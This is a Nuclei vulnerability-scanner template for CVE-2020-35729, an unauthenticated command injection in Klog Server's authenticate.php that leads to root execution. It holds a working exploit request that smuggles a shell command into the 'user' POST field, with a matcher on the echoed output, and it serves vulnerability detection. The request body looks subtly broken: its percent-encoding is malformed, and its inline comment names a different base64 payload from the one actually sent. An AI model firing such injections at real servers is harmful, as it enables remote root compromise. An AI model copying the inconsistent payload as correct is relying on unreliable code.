nuclei-templates/cves/2020/CVE-2020-35729.yaml

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1.3 KiB
YAML

id: CVE-2020-35729
info:
name: Klog Server Unauthenticated Command Injection
author: dwisiswant0
severity: critical
reference: https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection
description: |
This template exploits an unauthenticated command injection vulnerability
in Klog Server versions 2.4.1 and prior.
The `authenticate.php` file uses the `user` HTTP POST parameter in a call
to the `shell_exec()` PHP function without appropriate input validation,
allowing arbitrary command execution as the apache user.
The sudo configuration permits the apache user to execute any command
as root without providing a password, resulting in privileged command
execution as root.
Originated from Metasploit module, copyright (c) space-r7.
tags: cve,cve2020,klog,rce
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2020-35729
cwe-id: CWE-78
requests:
- method: POST
path:
- "{{BaseURL}}/actions/authenticate.php"
body: 'user=pdnuclei%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd=pdnuclei' # Payload: & echo "cHJvamVjdGRpc2NvdmVyeS5pbw==" | base64 -d & echo"
matchers:
- type: word
words:
- "poc-testing" # from Base64 decoding payload